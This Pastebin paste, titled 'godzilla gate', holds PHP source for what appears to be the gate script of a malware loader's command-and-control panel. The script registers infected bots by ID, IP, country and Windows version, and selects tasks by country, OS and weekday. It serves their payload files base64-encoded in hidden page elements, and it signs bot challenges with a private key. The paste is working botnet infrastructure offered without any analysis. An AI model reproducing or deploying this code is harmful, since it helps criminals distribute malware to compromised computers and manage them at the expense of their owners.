Advertisement
setty7

godzilla gate

Aug 30th, 2018
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.76 KB | None | 0 0
  1. <?php
  2. ob_start();
  3. define('CP', TRUE);
  4. error_reporting(E_ALL);
  5. set_time_limit(0);
  6. ini_set("session.gc_maxlifetime", 180);
  7. ini_set("session.gc_divisor", 1);
  8. ini_set("session.gc_probability", 1);
  9. session_save_path(__DIR__."/tmp");
  10.  
  11.  
  12. $cmd = '';
  13. $total_sessions = count(scandir(ini_get("session.save_path")));
  14. if($total_sessions > 12)
  15.     Sleep($total_sessions * 1);
  16. if(!is_readable(__DIR__.'/core/config.php'))
  17.     goto flushcmd;
  18.  
  19. session_start();
  20.  
  21. include __DIR__.'/core/privatekey.php';
  22. include __DIR__.'/core/geoip/geoipcity.php';
  23. include __DIR__.'/core/config.php';  
  24. $binary_signature = "";
  25.  
  26. if(isset($_GET['k'])){
  27.     openssl_sign($_GET['k'], $binary_signature, $private_key, OPENSSL_ALGO_SHA1);
  28.     $cmd .= "<div id=\"s\">".base64_encode(strrev($binary_signature))."</div>";
  29. }
  30.  
  31.  
  32.  
  33.         $useragent = $_SERVER['HTTP_USER_AGENT'];
  34.         $version = 0;
  35.         $wow64 = substr_count($useragent, 'WOW64') >= 1 ? 1 : 0;
  36.  
  37.         if(preg_match('/windows nt 10.0/i', $useragent))
  38.             $version = 5;
  39.         else if(preg_match('/windows nt 6.2/i', $useragent) || preg_match('/windows nt 6.3/i', $useragent))
  40.             $version = 4;
  41.         else if (preg_match('/windows nt 6.1/i', $useragent))
  42.             $version = 3;
  43.         else if (preg_match('/windows nt 6.0/i', $useragent))
  44.             $version = 2;
  45.         else if (preg_match('/windows nt 5.2/i', $useragent) || preg_match('/windows nt 5.0/i', $useragent) || preg_match('/windows nt 5.1/i', $useragent))
  46.             $version = 1;
  47.        
  48.        
  49.         $database = new mysqli($MYSQL_HOST, $MYSQL_LOGIN, $MYSQL_PASSWORD, $MYSQL_DB);
  50.         if(mysqli_connect_error())
  51.             goto flushcmd;
  52.  
  53.         $gi = geoip_open(__DIR__.'/core/geoip/GeoLiteCity.dat', GEOIP_STANDARD);
  54.         $ip = getIP();
  55.  
  56.         $record = geoip_record_by_addr($gi, $ip);
  57.         $time = time();
  58.         $cc = NULL;
  59.         if(empty($record->country_code))$cc = "XX";
  60.         else $cc = $record->country_code;
  61.  
  62.         $ipforbd = ip2long($ip);
  63.    
  64.          
  65.         if(!empty($_GET['g']))
  66.             $botuid = mysqli_real_escape_string($database, htmlspecialchars($_GET['g']));
  67.         else goto flushcmd;
  68.        
  69.         $sql = 'SELECT * FROM `task` WHERE `active` = "1" AND (`need` > `complete` OR `need`=0)';
  70.         $result = mysqli_query($database, $sql);
  71.  
  72.         $task_id = array();
  73.         $task_filehash = array();
  74.         $task_newonly = array();
  75.         $count_tasks = 0;
  76.        
  77.         if($result == FALSE||mysqli_num_rows($result) > 0){
  78.            
  79.                 while($row = mysqli_fetch_array($result))
  80.                 {
  81.                     if(strcmp($row['country'], "ALL") !== 0){
  82.                         if(strstr($row['country'], $cc) == FALSE)
  83.                             continue;
  84.                     }
  85.                     if(strcmp($row['os'], "1,2,3,4,5") !== 0){
  86.                         if(strstr($row['os'], $version) == FALSE)
  87.                             continue;
  88.                     }
  89.                     if(strcmp($row['days'], "1,2,3,4,5,6,7") !== 0){
  90.                         if(strstr($row['days'], date("N")) == FALSE)
  91.                             continue;
  92.                     }
  93.                    
  94.                     array_push($task_filehash, $row['filehash']);
  95.                     array_push($task_id, $row['id']);
  96.                     array_push($task_newonly, $row['onlynewbots']);
  97.                     $count_tasks++;
  98.    
  99.                 }
  100.                
  101.                     $sql = "SELECT * FROM `bots` WHERE `botuid`='{$botuid}'";
  102.                     $result = mysqli_query($database, $sql);
  103.                     if($result == FALSE || mysqli_num_rows($result) == 0){
  104.                         // unknown bot
  105.                         $taskcomplete = implode(",", $task_id).",";
  106.                         $sql = "INSERT INTO `bots` (`id`, `botuid`, `ip`, `cc`, `timeAdd`, `timeLast`, `os`, `wow64`, `taskcomplete`) VALUES (NULL, '{$botuid}', '{$ipforbd}', '{$cc}', '{$time}', '{$time}', '{$version}', '{$wow64}', '{$taskcomplete}');";
  107.                         mysqli_query($database, $sql);
  108.                         goto beforeflush;
  109.                     }
  110.            
  111.                        
  112.                     $botinfo = mysqli_fetch_array($result);
  113.                    
  114.                     if(isset($botinfo['taskcomplete']))
  115.                     {
  116.                         $tasksarraylen = count($task_id);
  117.                         for($i = 0;$i < $tasksarraylen; $i++)
  118.                             if(strstr($botinfo['taskcomplete'], $task_id[$i]) !== FALSE){
  119.                                 unset($task_id[$i]);
  120.                                 unset($task_filehash[$i]);
  121.                                 $count_tasks--;
  122.                             }
  123.                         $task_id = array_values($task_id);
  124.                         $task_filehash = array_values($task_filehash);
  125.                     }
  126.                    
  127.                     $taskcomplete = $botinfo['taskcomplete'];
  128.                    
  129.                         if($count_tasks != 0)
  130.                         {
  131.                                 $taskcomplete .= ",".implode(",", $task_id);       
  132.                
  133.                             $sql = "UPDATE `bots` SET `taskcomplete` = '{$taskcomplete}' WHERE `botuid`= '{$botuid}';";
  134.                             mysqli_query($database, $sql);
  135.                         }
  136.                
  137.                    
  138.                
  139.                 beforeflush:
  140.                 for($i = 0; $i < $count_tasks; $i++){
  141.                     if(isset($task_filehash[$i])){
  142.                         $filedata = @file_get_contents("files/{$task_filehash[$i]}");
  143.                         if($filedata != NULL){
  144.                             $sql = "UPDATE `task` SET `complete` = `complete` + 1 WHERE `id` = '{$task_id[$i]}';";
  145.                             mysqli_query($database, $sql);
  146.                             $cmd .= '<div style="display:none" id="download" name="download">'.base64_encode($filedata).'</div>';
  147.                         }
  148.                     }
  149.  
  150.                 }
  151.         }else{
  152.             $sql = "INSERT IGNORE INTO `bots` (`id`, `botuid`, `ip`, `cc`, `timeAdd`, `timeLast`, `os`, `wow64`, `taskcomplete`) VALUES (NULL, '{$botuid}', '{$ipforbd}', '{$cc}', '{$time}', '{$time}', '{$version}', '{$wow64}', NULL);";
  153.             mysqli_query($database, $sql);
  154.        
  155.             goto beforeflush;
  156.         }
  157.  
  158.         mysqli_close($database);
  159.        
  160.  
  161.         touch(__DIR__.'/core/cp.lock');
  162.         clearstatcache();
  163.  
  164.         geoip_close($gi);
  165.    
  166. function generateRandomString($length = 10) {
  167.  
  168.     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  169.     $charactersLength = strlen($characters);
  170.     $randomString = '';
  171.     for ($i = 0; $i < $length; $i++) {
  172.         $randomString .= $characters[rand(0, $charactersLength - 1)];
  173.     }
  174.     return $randomString;
  175. }
  176. function getIP()
  177. {
  178.     if (isset($_SERVER["HTTP_X_REAL_IP"]))
  179.         return $_SERVER["HTTP_X_REAL_IP"];
  180.     else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  181.         return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  182.     return $_SERVER['REMOTE_ADDR'];
  183. }
  184.  
  185.  
  186. flushcmd:
  187.  
  188. echo $cmd;
  189. ob_end_flush();
  190.  
  191. session_unset();
  192. session_destroy();
  193. session_write_close();
  194. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement